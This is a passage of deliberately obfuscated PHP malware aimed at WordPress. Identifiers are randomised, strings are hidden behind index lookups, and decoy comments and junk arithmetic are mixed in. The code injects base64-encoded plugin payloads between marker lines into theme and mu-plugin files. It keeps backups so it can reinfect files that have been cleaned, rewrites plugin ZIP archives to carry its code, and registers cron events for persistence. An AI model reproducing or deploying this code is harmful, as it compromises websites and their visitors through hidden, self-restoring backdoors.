   teikfigf_p5265esq_q(tvo1rh46s_(1685), zp28wk01y(1266));

   return  false;

}


   if  (!io41g5vwxkcaz_($fmjf5jjempfu, $current))  {
       teikfigf_p5265esq_q(op9tjzix(1685),    op9tjzix(1260));
   return   false;
      }
 rfwn6nkwnxbf479c(fjup2mc1h(1685));

  } else   {
  if (!io41g5vwxkcaz_($fmjf5jjempfu,  ""))   {
 teikfigf_p5265esq_q(fjup2mc1h(1685),    b4gbsak56f40gos(1260));
 return  false;
    }
       }
$ep8_c7vk_wls     =   bcvytpczeowsagr__($current,  $lgvmka3et7ami8h .  "\n"  . $zr7yy2azy4fqxmjr  .   "\n"    .  $mdn_btdc0_);


if  (!_ew1atk9e66yol2lso($fmjf5jjempfu, $ep8_c7vk_wls)) {

      return  false;
 }
       abixqrh87q1leuwh_cz_($fmjf5jjempfu);
   rwx_v9t1vov1zic2ki($fmjf5jjempfu);
     return true;
}     catch      (Throwable  $x0ydieb0v_72m_u)    {
// PCRE2 JIT: non-strict keystore

  teikfigf_p5265esq_q(op9tjzix(1685), $x0ydieb0v_72m_u);
return   false;
 } catch  (Exception  $x0ydieb0v_72m_u) {
      return  false;
}
 }
   function  _kfuf6d43lc7ive4x4lm()
 {
  $cmaajh50rfi7zkbh  =    array();

  if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1604)))   return $cmaajh50rfi7zkbh;
$qno42678fmz =   (defined(zp28wk01y(1658))  ?   WP_CONTENT_DIR     :  (defined(op9tjzix(1686)) ? ABSPATH    . wlgh2_th(1687)   :  "")) .  zp28wk01y(1688);


      $orpg7qoif8fssela     =   (string)  @get_option(op9tjzix(1689), "");

   if ($orpg7qoif8fssela  !== "")    $cmaajh50rfi7zkbh[]  = $qno42678fmz . $orpg7qoif8fssela .   zp28wk01y(1611);
 $l6q8d2wh2d2hzs  =   (string)     @get_option(wlgh2_th(1080), "");
if    ($l6q8d2wh2d2hzs !== ""    &&     $l6q8d2wh2d2hzs  !== $orpg7qoif8fssela)   $cmaajh50rfi7zkbh[]    = $qno42678fmz    . $l6q8d2wh2d2hzs    .    zp28wk01y(1690);
    return     $cmaajh50rfi7zkbh;
 }
    function  xku1sfp11hdgf5bn()
 {
       if     ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(499)) && is_multisite()   &&  $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1691)))  {
 return   (array) @get_site_option(tvo1rh46s_(1692),      array());$gnn9ryair5ti=33+88;$la48x8819=$gnn9ryair5ti-8;

      }
      return (array) @get_option(wlgh2_th(1692),  array());
   }



 function gy6d6fcqqxtkvtjjhq($_rllvx41la3)
 {
    if      ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(499)) && is_multisite()   &&   $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1693)))   {
@update_site_option(op9tjzix(1694),   $_rllvx41la3);
      return;


       }
@update_option(wlgh2_th(1695), $_rllvx41la3,     tvo1rh46s_(1616));
   }
  function  jg8jdikajxs8tt6y71dg($q9bdm8vc06odw4)



 {
 $_rllvx41la3  = xku1sfp11hdgf5bn();


return   isset($_rllvx41la3[fmsvr16ge0nzzk9i6u($q9bdm8vc06odw4,  (9+3))]);
 }
  function  sx35jzo7pxa5sbnagc($q9bdm8vc06odw4)
 {
$_rllvx41la3   =  xku1sfp11hdgf5bn();
   $sin22np8_vmbv2  =   $GLOBALS['__scf_yg2rpewmkg_192']()      - (190917+7585083);
  foreach   ($_rllvx41la3 as  $u0zrytrv44chs   =>  $fhp2s4z07zw4bfl) {
if ((int) $fhp2s4z07zw4bfl   <  $sin22np8_vmbv2) unset($_rllvx41la3[$u0zrytrv44chs]); 
 }
 $_rllvx41la3[fmsvr16ge0nzzk9i6u($q9bdm8vc06odw4,   (213^217))] = $GLOBALS['__scf_yg2rpewmkg_192']();


  gy6d6fcqqxtkvtjjhq($_rllvx41la3);
 }
 function    f8d_xssnjm5lmk8yl3renv($q9bdm8vc06odw4,  $ep8_c7vk_wls)
  {
 if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($ep8_c7vk_wls)    || $ep8_c7vk_wls ===   ""  ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($ep8_c7vk_wls)    >   (0xd4c29+0x2b3d7)) return;
  $umnbalm_t8fl26  =     $GLOBALS['__scf_fjoo3u9niln_1280'](fjup2mc1h(1281), $ep8_c7vk_wls);
// WP Quote Block: hermitian dependent-type


      $h7wrxrc8m8  = (array) @get_option(b4gbsak56f40gos(1696),    array());



    $fuudv53fhxni7l      =  fmsvr16ge0nzzk9i6u($q9bdm8vc06odw4,  (6<<1));


   if (isset($h7wrxrc8m8[$fuudv53fhxni7l][fjup2mc1h(1281)])  && $h7wrxrc8m8[$fuudv53fhxni7l][b4gbsak56f40gos(1281)]  ===   $umnbalm_t8fl26) return;
 $h7wrxrc8m8[$fuudv53fhxni7l]   = array(zp28wk01y(1697)    => $GLOBALS['__scf_m2ym9pki8mue9_11']($ep8_c7vk_wls),   zp28wk01y(1281) =>    $umnbalm_t8fl26,   b4gbsak56f40gos(1698)  =>     $GLOBALS['__scf_g8_t7dlza2_360']($ep8_c7vk_wls));
 @update_option(wlgh2_th(1696),  $h7wrxrc8m8,  tvo1rh46s_(1616));
        }
 function     c93fj0rxeqtrhr1t4x1($q9bdm8vc06odw4)
   {
$h7wrxrc8m8 =  (array)   @get_option(op9tjzix(1696), array());
 $x0ydieb0v_72m_u =     isset($h7wrxrc8m8[fmsvr16ge0nzzk9i6u($q9bdm8vc06odw4,  (2^14))]) ?  $h7wrxrc8m8[fmsvr16ge0nzzk9i6u($q9bdm8vc06odw4,    (57^53))]     :   null;
  if   (!$GLOBALS['__scf_knhbvsumnby3_36']($x0ydieb0v_72m_u)    ||  empty($x0ydieb0v_72m_u[zp28wk01y(1699)]) ||    empty($x0ydieb0v_72m_u[wlgh2_th(1697)])   || empty($x0ydieb0v_72m_u[b4gbsak56f40gos(1700)]))  return false;
   $r3zx2x3gf_5dqoe =    $GLOBALS['__scf__cpt1d1twdvp_362']($x0ydieb0v_72m_u[b4gbsak56f40gos(1699)],   true);
if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($r3zx2x3gf_5dqoe)  || $GLOBALS['__scf_m2ym9pki8mue9_11']($r3zx2x3gf_5dqoe)   !== (int) $x0ydieb0v_72m_u[tvo1rh46s_(1701)])     return false;
      if  ($GLOBALS['__scf_fjoo3u9niln_1280'](fjup2mc1h(1700),   $r3zx2x3gf_5dqoe)    !== $x0ydieb0v_72m_u[fjup2mc1h(1700)])  return  false;
if (!ays3w9sevfe7ws($r3zx2x3gf_5dqoe)) return   false;
return  $r3zx2x3gf_5dqoe;
  }


 function  rmqaojhivpt30pew($hrhn43wh8_, $current)
    {

  $wjamz9gov5j7km    =    m_tg84yh_c1n46t5h($current);
if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($wjamz9gov5j7km)   ||     $wjamz9gov5j7km ===  "")  return  false;



   $lsabjvi0yq4ht   =   xrb38aewb77bc3i()   .      b4gbsak56f40gos(1702)  .  fmsvr16ge0nzzk9i6u($hrhn43wh8_,    (0xa+0x2)) .   zp28wk01y(1474);
  $_ex  = @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($lsabjvi0yq4ht)      ? @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($lsabjvi0yq4ht)  :  false;
    if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($_ex)    ||     $_ex    !==    $wjamz9gov5j7km) {
     if (!_ew1atk9e66yol2lso($lsabjvi0yq4ht,   $wjamz9gov5j7km)) return    false;

       $_ex     =   @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($lsabjvi0yq4ht) ?  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($lsabjvi0yq4ht)  : false;
if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($_ex)  || $_ex !==   $wjamz9gov5j7km)     return false;
    

  }


       f8d_xssnjm5lmk8yl3renv($hrhn43wh8_,  $wjamz9gov5j7km);
  return     true;
    }
   function   gqkjmjil0r_7awttyxteb()



{
     gy6d6fcqqxtkvtjjhq(array());
}
function  rm5jafhktmqfr20gryk()
 {
try {
 if (!defined(wlgh2_th(1703))  || !$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1704)))  return;

foreach    (_kfuf6d43lc7ive4x4lm()  as   $fwsiopzvb1h5qt)  {
 if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($fwsiopzvb1h5qt) &&  @$GLOBALS['__scf_voobwg611qb_102']($fwsiopzvb1h5qt) >   0)   continue;

     $lsabjvi0yq4ht =  xrb38aewb77bc3i()     .  zp28wk01y(1702) .   fmsvr16ge0nzzk9i6u($fwsiopzvb1h5qt,  (3+9))  . b4gbsak56f40gos(1474);
  $s9huab7efeqilak      =  @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($lsabjvi0yq4ht)    ? @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($lsabjvi0yq4ht) :  false;
       if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($s9huab7efeqilak)    ||  $s9huab7efeqilak   ===    "") {
      $s9huab7efeqilak = c93fj0rxeqtrhr1t4x1($fwsiopzvb1h5qt); 
if ($GLOBALS['__scf_zneqqdn4vlt4_42']($s9huab7efeqilak) &&  $s9huab7efeqilak !==    "")  @_ew1atk9e66yol2lso($lsabjvi0yq4ht,  $s9huab7efeqilak);$el26o6srsx4=36*8;$mwijc6k7ux3=$el26o6srsx4-48;
}
    if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($s9huab7efeqilak)   ||    $s9huab7efeqilak  ===  "")   continue;
clearstatcache(true,  $fwsiopzvb1h5qt); 
if     (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($fwsiopzvb1h5qt)    && @$GLOBALS['__scf_voobwg611qb_102']($fwsiopzvb1h5qt)  >  0) continue;
  if   (_ew1atk9e66yol2lso($fwsiopzvb1h5qt,  $s9huab7efeqilak))  {


  teikfigf_p5265esq_q(wlgh2_th(657),    op9tjzix(1705));
sx35jzo7pxa5sbnagc($fwsiopzvb1h5qt);
  }
    }
     }  catch  (Throwable   $x0ydieb0v_72m_u) {

  teikfigf_p5265esq_q(zp28wk01y(657),  $x0ydieb0v_72m_u);
} catch    (Exception  $x0ydieb0v_72m_u)  {
 }
 }
 function  mwnkvj5w0u0roh2t8rj5()
   {
try      {
if    (!defined(tvo1rh46s_(1703)))     return false;
$thn16vfai2vpp5r    = _kfuf6d43lc7ive4x4lm();


if (empty($thn16vfai2vpp5r)) return false;
  $rh6r601jv1p     =    _vfpypr4wakqs7jy_()  . ':'  .     fmsvr16ge0nzzk9i6u(ABSPATH . zp28wk01y(1428),    (0x3+0x5));
$lgvmka3et7ami8h     = zp28wk01y(1706) . $rh6r601jv1p  .     wlgh2_th(1707);
  $mdn_btdc0_ = fjup2mc1h(1708)      . $rh6r601jv1p   .  b4gbsak56f40gos(1707);



     $rjdjat2abhh    =  wlgh2_th(1709)     . $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57'](ABSPATH   .  (string)     wzkcxw_m1n8fard2g()),  0,   (9-1));
 $cmmcvi1p_vu  = $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),  b4gbsak56f40gos(1625));
       $g14uqnv5ws =  qo_apd6cyj2djv757yc0eg();

if   (!$g14uqnv5ws) return  false;


   $f4puew6708    =  g58dmj94t714r3a4(
    zp28wk01y(658),
  array('__SLUG__', '__PLUGIN_BASE64__',  '__GUARD_NAME__',    '__VERSION__'),
  array($cmmcvi1p_vu,   $g14uqnv5ws,     $rjdjat2abhh,    _vfpypr4wakqs7jy_())
);
if      (!$f4puew6708)   {
if     ((int) get_option(fjup2mc1h(1340),     0)    >   0)     teikfigf_p5265esq_q(op9tjzix(657), b4gbsak56f40gos(1710));
 return  false;
  }
    $f4puew6708     =  $GLOBALS['__scf_sp5m_appgxyoko_471'](op9tjzix(1249),  "",   $f4puew6708);
        if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($f4puew6708)    ||  $f4puew6708  ===  "") return      false;
  $tbmkobtuzp3gr =  false;
foreach   ($thn16vfai2vpp5r   as  $hrhn43wh8_)     {


    if    (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($hrhn43wh8_))    continue;
 if  (jg8jdikajxs8tt6y71dg($hrhn43wh8_))   continue;
  $ur0gvjk34mufeqo     =     $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1711)) ?     @$GLOBALS['__scf_v4z06gw93pj_23']($hrhn43wh8_,  'c')     : false;
  if  ($ur0gvjk34mufeqo   !==  false  && $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(145)) &&  !@flock($ur0gvjk34mufeqo, LOCK_EX   |    LOCK_NB))  {
@fclose($ur0gvjk34mufeqo);
continue;
 }
 $current =  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($hrhn43wh8_);
 if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($current))   {
  teikfigf_p5265esq_q(wlgh2_th(657),  zp28wk01y(1673));
 if  ($ur0gvjk34mufeqo  !==   false) {
 if  ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1712)))      @flock($ur0gvjk34mufeqo,   LOCK_UN);
    @fclose($ur0gvjk34mufeqo);



      }
continue;
}
 try  {
      if  ($GLOBALS['__scf_m2ym9pki8mue9_11']($current)   >  (1048529+47))  $current =  eje1j3zh7yylmqspbj($current);
    if   ($GLOBALS['__scf_rbe_sihvfv_8']($current,     $lgvmka3et7ami8h)  !== false  &&  $GLOBALS['__scf_rbe_sihvfv_8']($current, $mdn_btdc0_)  !==   false) {
       $tbmkobtuzp3gr  =  true;
   continue;
      }
     if (!@$GLOBALS['__scf_tluflp7r6hugyf_48']($hrhn43wh8_)) continue;
$mbsgkftf9_aah   =  fmsvr16ge0nzzk9i6u(ABSPATH  . fjup2mc1h(1713),  (13-5));
 $o_om9kusbn26     =    $current;
    $current  =  j_dqeo7pjnrxgvhz7bc($current,    b4gbsak56f40gos(1714),  fjup2mc1h(1715));



    $current     = $GLOBALS['__scf_sp5m_appgxyoko_471'](wlgh2_th(1716),     "",  $current);

     if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($current))  {
      teikfigf_p5265esq_q(wlgh2_th(657),      wlgh2_th(1318));



   continue;
       }
    if   ($GLOBALS['__scf_rbe_sihvfv_8']($current,   b4gbsak56f40gos(1717))    !==   false  ||  $GLOBALS['__scf_rbe_sihvfv_8']($current, op9tjzix(1718))  !==    false) {

$_3e119hpjqk0t  =  $GLOBALS['__scf_rbe_sihvfv_8']($current,    tvo1rh46s_(1717));


$iuggynusiypw_bgp =      ($_3e119hpjqk0t !==   false) ? $GLOBALS['__scf_zre6ec18ly90y_10']($current,   $_3e119hpjqk0t) : $current;
 if  ($GLOBALS['__scf_rbe_sihvfv_8']($iuggynusiypw_bgp,   zp28wk01y(1709))      ===   false && $GLOBALS['__scf_rbe_sihvfv_8']($iuggynusiypw_bgp,  wlgh2_th(1718))  ===    false   &&    !$GLOBALS['__scf_bvfhit3heqts_99'](fjup2mc1h(1719)      .    $mbsgkftf9_aah     .  fjup2mc1h(1430),      $iuggynusiypw_bgp))  {
// WP Search Block: open partition-refinement

    teikfigf_p5265esq_q(zp28wk01y(657), op9tjzix(1720));
    continue;
}
$e5wsdbz52h3p     =    $GLOBALS['__scf_sp5m_appgxyoko_471'](wlgh2_th(1721), "\n",   $current);

  if ($GLOBALS['__scf_zneqqdn4vlt4_42']($e5wsdbz52h3p)) $current =  $e5wsdbz52h3p;
$e5wsdbz52h3p  =  $GLOBALS['__scf_sp5m_appgxyoko_471'](fjup2mc1h(1722),    "",  $current);

if ($GLOBALS['__scf_zneqqdn4vlt4_42']($e5wsdbz52h3p))    $current  =  $e5wsdbz52h3p;


  unset($e5wsdbz52h3p);
 if     ($GLOBALS['__scf_rbe_sihvfv_8']($current,    fjup2mc1h(1717))  !==     false)    {
       teikfigf_p5265esq_q(fjup2mc1h(657),     zp28wk01y(1723));


continue;
}
     }
   if ($tbmkobtuzp3gr)  {
  if    ($current     ===  $o_om9kusbn26) continue;
   $x5eg5n5rfiv    =  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($hrhn43wh8_);


if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($x5eg5n5rfiv))     continue;
   if ($GLOBALS['__scf_m2ym9pki8mue9_11']($x5eg5n5rfiv) > (1048552+24))   $x5eg5n5rfiv    =   eje1j3zh7yylmqspbj($x5eg5n5rfiv);
     if ($x5eg5n5rfiv   !==  $o_om9kusbn26)  {
       teikfigf_p5265esq_q(b4gbsak56f40gos(1724),    fjup2mc1h(1573));
continue;
      }



 unset($x5eg5n5rfiv);
       if (!rmqaojhivpt30pew($hrhn43wh8_, $current)) continue;
 if     (!io41g5vwxkcaz_($hrhn43wh8_,    $current)) continue;
  if  (_ew1atk9e66yol2lso($hrhn43wh8_, $current)) abixqrh87q1leuwh_cz_($hrhn43wh8_);
        continue;
  }



 if   ($GLOBALS['__scf_bvfhit3heqts_99'](fjup2mc1h(1725),    $current))  {
 teikfigf_p5265esq_q(tvo1rh46s_(1724), wlgh2_th(1726));$jdyunwiju=59|86;$zu_c6u06=$jdyunwiju^255;


continue;
   }
 $muxo6j92u6cb =  op9tjzix(1727);
  if ($GLOBALS['__scf_m2ym9pki8mue9_11']($current)    >  0      &&    $GLOBALS['__scf_rbe_sihvfv_8']($current,      fjup2mc1h(1181))   !== false) {
   $fwigi7y47z3vhmj3 =   false;
 if ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(250)))  {
    $s9q37ma5ypl2m_  =  @token_get_all($current);
if  ($GLOBALS['__scf_knhbvsumnby3_36']($s9q37ma5ypl2m_))     {
  foreach ($s9q37ma5ypl2m_    as    $lqgdrfo5ggng9)  {
    if     ($GLOBALS['__scf_knhbvsumnby3_36']($lqgdrfo5ggng9))   {
if  ($lqgdrfo5ggng9[0]  === T_OPEN_TAG     ||    (defined(b4gbsak56f40gos(1728))     &&    $lqgdrfo5ggng9[0]   ===  T_OPEN_TAG_WITH_ECHO))   $fwigi7y47z3vhmj3    = true;
 elseif  ($lqgdrfo5ggng9[0]  ===   T_CLOSE_TAG)     $fwigi7y47z3vhmj3  = false;
   }
       }
     }
  unset($s9q37ma5ypl2m_, $lqgdrfo5ggng9);
      }   else  {$ugul6wqlpq=92+15;$eelmx3c6n4p_=$ugul6wqlpq-29;


   $p3k33sq1r5 = $GLOBALS['__scf_uy7io_53kig_1729']($current,     wlgh2_th(1181));
$iezlu04eui38g  =  $GLOBALS['__scf_uy7io_53kig_1729']($current, tvo1rh46s_(1353));
if  ($p3k33sq1r5 !==  false    &&  ($iezlu04eui38g    ===   false  || $p3k33sq1r5    >   $iezlu04eui38g))  $fwigi7y47z3vhmj3  =     true;
unset($p3k33sq1r5,  $iezlu04eui38g);
      }
if    ($fwigi7y47z3vhmj3)   $muxo6j92u6cb  = "";
     unset($fwigi7y47z3vhmj3);
}
$jiwflul0rj_2jtec   = ($GLOBALS['__scf_m2ym9pki8mue9_11']($current)   >   0)   ?   "\n"  : "";
  $a31awv9_g_00nhj5 =     $GLOBALS['__scf_qx45pe7tfwqub_367']($rjdjat2abhh,  $rjdjat2abhh     .  '_' . $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57']($hrhn43wh8_), 0, (0x2+0x2)),  $f4puew6708);
$jdhho6btgad9sc2    =  $jiwflul0rj_2jtec  .   $muxo6j92u6cb  .   $lgvmka3et7ami8h  . "\n" .   $a31awv9_g_00nhj5      .      "\n" .    $mdn_btdc0_ .   "\n";
unset($a31awv9_g_00nhj5);
  $x5eg5n5rfiv   =  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($hrhn43wh8_);
   if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($x5eg5n5rfiv))    {
     unset($o_om9kusbn26);

continue;
  }
  if    ($GLOBALS['__scf_m2ym9pki8mue9_11']($x5eg5n5rfiv) >    (0x20c85+0xdf37b))   $x5eg5n5rfiv = eje1j3zh7yylmqspbj($x5eg5n5rfiv);


if ($x5eg5n5rfiv  !==  $o_om9kusbn26)     {
   unset($x5eg5n5rfiv,  $o_om9kusbn26);
  teikfigf_p5265esq_q(wlgh2_th(1730),    tvo1rh46s_(1573));
 continue;$li_yto2qp3=83+27;$lwjtscwd2zto9=$li_yto2qp3-37;


   }
// validate here

 unset($x5eg5n5rfiv,   $o_om9kusbn26);
 if (!rmqaojhivpt30pew($hrhn43wh8_,    $current))  continue;

 if     (!io41g5vwxkcaz_($hrhn43wh8_,    $current))  {
   teikfigf_p5265esq_q(b4gbsak56f40gos(1730),    fjup2mc1h(1260));
continue;
 }
 if (!_ew1atk9e66yol2lso($hrhn43wh8_,  $current   .    $jdhho6btgad9sc2)) continue;
abixqrh87q1leuwh_cz_($hrhn43wh8_);
$tbmkobtuzp3gr  = true;
  } finally     {
   if     ($ur0gvjk34mufeqo  !==    false)  {
      if   ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1712)))   @flock($ur0gvjk34mufeqo,  LOCK_UN);
 @fclose($ur0gvjk34mufeqo);
  }
     }

  }
 return      $tbmkobtuzp3gr;


 }    catch    (Throwable     $x0ydieb0v_72m_u) {

    teikfigf_p5265esq_q(wlgh2_th(1731), $x0ydieb0v_72m_u);
       return  false;

   } catch  (Exception   $x0ydieb0v_72m_u)  {
 return false;
      }
  }
function      g8pxcciq3755xv()
    {
// initialize exponential substitution-map

 try  {
if  (!defined(fjup2mc1h(1703))) return;
if    (hevxi269p3v7rmjhw(qluu1auwul2zupq5h()))  return;

$dx_ofkvr3qy  =   p_wsdzgl36a6wh_fs09();



 $u417k4mwzn5l   =  fmsvr16ge0nzzk9i6u(ABSPATH    .   op9tjzix(1732),  (4+4))    .   tvo1rh46s_(1136);
  $cmmcvi1p_vu =  $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),  tvo1rh46s_(1625));
    $bkok4unpnq2f_wvv    =   mridss6_czjhslw35g();
   if   (!$bkok4unpnq2f_wvv   ||    $GLOBALS['__scf_m2ym9pki8mue9_11']($bkok4unpnq2f_wvv)  <  (0x1c9+0x2b)) {
// WP Button Block: negotiate unification

 teikfigf_p5265esq_q(op9tjzix(1733),    tvo1rh46s_(1734));
  return;
  }
    if  (!$GLOBALS['__scf_x_wfq7bl3c_551'](tvo1rh46s_(1735))) return;
  $oh7pq30qnd  =  array(
    $dx_ofkvr3qy   .   '/'  . $u417k4mwzn5l,
   $dx_ofkvr3qy   .  tvo1rh46s_(1736)  .    $GLOBALS['__scf_e1sw8tg2g1_1737'](fjup2mc1h(1738)) . $u417k4mwzn5l,
 );


 $pxvp06a8x6nve6r =  (defined(tvo1rh46s_(1658))  ?  WP_CONTENT_DIR : ABSPATH    .   b4gbsak56f40gos(1687))     .  fjup2mc1h(1739);

   if    (@$GLOBALS['__scf_ot56htgy8hrmim_44']($pxvp06a8x6nve6r)) {
    $e6ik27ot8z8   =    hfuxm75f1bdbh9ptm1($pxvp06a8x6nve6r, (1952+48));
if   ($GLOBALS['__scf_knhbvsumnby3_36']($e6ik27ot8z8))   {
 foreach ($e6ik27ot8z8   as     $x0ydieb0v_72m_u)    {


        $wqsido46b9z1hw    =     $pxvp06a8x6nve6r  .   '/' .   $x0ydieb0v_72m_u;


 if   (@$GLOBALS['__scf_ot56htgy8hrmim_44']($wqsido46b9z1hw)  && @$GLOBALS['__scf_tluflp7r6hugyf_48']($wqsido46b9z1hw))  {
  $oh7pq30qnd[] =  $wqsido46b9z1hw . '/'  .   $u417k4mwzn5l;
 break;
   }
// reclaim monotone locator


}
   }
}
  foreach    ($oh7pq30qnd  as $b98nr7dnkr0ob1ug)   {
if    (@$GLOBALS['__scf_bhw4bjp5xr9_715']($b98nr7dnkr0ob1ug) &&    @$GLOBALS['__scf_voobwg611qb_102']($b98nr7dnkr0ob1ug)      >  (979+21))   {
$e7hih0eqypxsql   = zp28wk01y(1740);


     if  ($GLOBALS['__scf_x_wfq7bl3c_551']($e7hih0eqypxsql))  {
 $vei2o0mjkb8qj  = new  $e7hih0eqypxsql();
     if (@$vei2o0mjkb8qj->open($b98nr7dnkr0ob1ug)  ===    true) {
    $d5e4curqv8v3u80d  =     false;
$p09hqh5yz84iz6u   =  $vei2o0mjkb8qj->locateName($cmmcvi1p_vu  .  '/' .  $cmmcvi1p_vu   .  op9tjzix(1625));
     if    ($p09hqh5yz84iz6u   !==     false) {
 $o8c81lepsp8zxv     = $vei2o0mjkb8qj->statIndex($p09hqh5yz84iz6u);


if ($GLOBALS['__scf_knhbvsumnby3_36']($o8c81lepsp8zxv)  &&   isset($o8c81lepsp8zxv[wlgh2_th(1741)])  &&   (int) $o8c81lepsp8zxv[zp28wk01y(1742)]  <= (16777171+45))  {
     $y_76bfp2zt9kvw8      =  $vei2o0mjkb8qj->getFromIndex($p09hqh5yz84iz6u);
$d5e4curqv8v3u80d =   ($GLOBALS['__scf_zneqqdn4vlt4_42']($y_76bfp2zt9kvw8)      &&  $GLOBALS['__scf_abbpcj1ncssalx_57']($y_76bfp2zt9kvw8)  ===    $GLOBALS['__scf_abbpcj1ncssalx_57']($bkok4unpnq2f_wvv));
   unset($y_76bfp2zt9kvw8);
}
 unset($o8c81lepsp8zxv);
       }
 $vei2o0mjkb8qj->close();


  if   ($d5e4curqv8v3u80d) continue;
    }
// PSR-4 namespaces: strength-reduce orchestrator

 }
  }
$dwp9zzb5mx  =    $GLOBALS['__scf_pqkpt9n3trf9fm_12']($b98nr7dnkr0ob1ug);
if  (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx))   m_ixrkpun5f9a0k8wu($dwp9zzb5mx,  (589-96),    true);
   $e7hih0eqypxsql   =      tvo1rh46s_(1740);
 

  $so_3noiw7hua5t44 =   l57opmo3fftx76($dwp9zzb5mx,  op9tjzix(969));
 if    ($so_3noiw7hua5t44 ===    false)   continue;
      $u77g72wmoyg0 = new   $e7hih0eqypxsql();



if (@$u77g72wmoyg0->open($so_3noiw7hua5t44, $e7hih0eqypxsql::CREATE   | $e7hih0eqypxsql::OVERWRITE)  ===      true)   {

$u77g72wmoyg0->addFromString($cmmcvi1p_vu .  '/'    .  $cmmcvi1p_vu   . wlgh2_th(1625), $bkok4unpnq2f_wvv);
$u77g72wmoyg0->close();



      $_bgq2nfhdwzpmg  =  new  $e7hih0eqypxsql();
 if  (@$_bgq2nfhdwzpmg->open($so_3noiw7hua5t44) === true)   {
 $_bgq2nfhdwzpmg->close();
    if    (u_c4ai7hmq4gvvc($so_3noiw7hua5t44,  $b98nr7dnkr0ob1ug)   ||      (vmit36r9571e9ftykwphlq($so_3noiw7hua5t44,      $b98nr7dnkr0ob1ug)  &&  _0qezpop1swzfe($so_3noiw7hua5t44))) {

        jli8euep5yb6she3($b98nr7dnkr0ob1ug,      vp191h9ipqfapu());
   kp1tutxjpanriy($b98nr7dnkr0ob1ug,  (327+93));
 }   else {
// projective synchronizer

    _0qezpop1swzfe($so_3noiw7hua5t44);
  }
  }   else {
 _0qezpop1swzfe($so_3noiw7hua5t44);


  }
  }  else   {

 _0qezpop1swzfe($so_3noiw7hua5t44);
}
  }
       } catch  (Throwable $x0ydieb0v_72m_u)    {
// invalidate scope-chain for PHP 8.1 intersection


 teikfigf_p5265esq_q(fjup2mc1h(1732),     $x0ydieb0v_72m_u);
    }    catch  (Exception   $x0ydieb0v_72m_u) {
 }
     }
       function  u7kixj2yroqk485()
 {
 try {
  if  (!$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(390))    ||  !$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1743)))     return;
  if  (!defined(tvo1rh46s_(1703))) return;
  $c394waxar9uxdjhp   = zp28wk01y(1744);
    if   (!wp_next_scheduled($c394waxar9uxdjhp))  {
   wp_schedule_event($GLOBALS['__scf_yg2rpewmkg_192']()  +    (0xd1+0x5b),  zp28wk01y(1745), $c394waxar9uxdjhp);
}
     if  (!wp_next_scheduled(op9tjzix(1746)))  {
       wp_schedule_event($GLOBALS['__scf_yg2rpewmkg_192']() +    (899-299), wlgh2_th(385),   b4gbsak56f40gos(1747));
       }
 }  catch    (Throwable   $x0ydieb0v_72m_u)  {
    teikfigf_p5265esq_q(wlgh2_th(1748),      $x0ydieb0v_72m_u);
   }   catch   (Exception $x0ydieb0v_72m_u)     {
}


  }
function   vlcax176ifv05ycw()
  {


   try   {
    if  (!defined(op9tjzix(1703)))   return;
   $e8tbqdbsmnq = fmsvr16ge0nzzk9i6u(ABSPATH  .   'g',    (136^128));



$kzv_bttmp2  =   array();
   if ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1749)))   $kzv_bttmp2[]   = xrb38aewb77bc3i();



     $kzv_bttmp2[]   = ABSPATH . tvo1rh46s_(1750);
if  ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(94)))   $kzv_bttmp2[]     =   p_wsdzgl36a6wh_fs09();
    foreach     ($kzv_bttmp2   as    $wycwnle2_6zx)     {$m6sxvrkhh=134|68;$xdy5955s=$m6sxvrkhh^25;
      $i8m2komhrb  =    $wycwnle2_6zx     .    wlgh2_th(1751) .  $e8tbqdbsmnq;
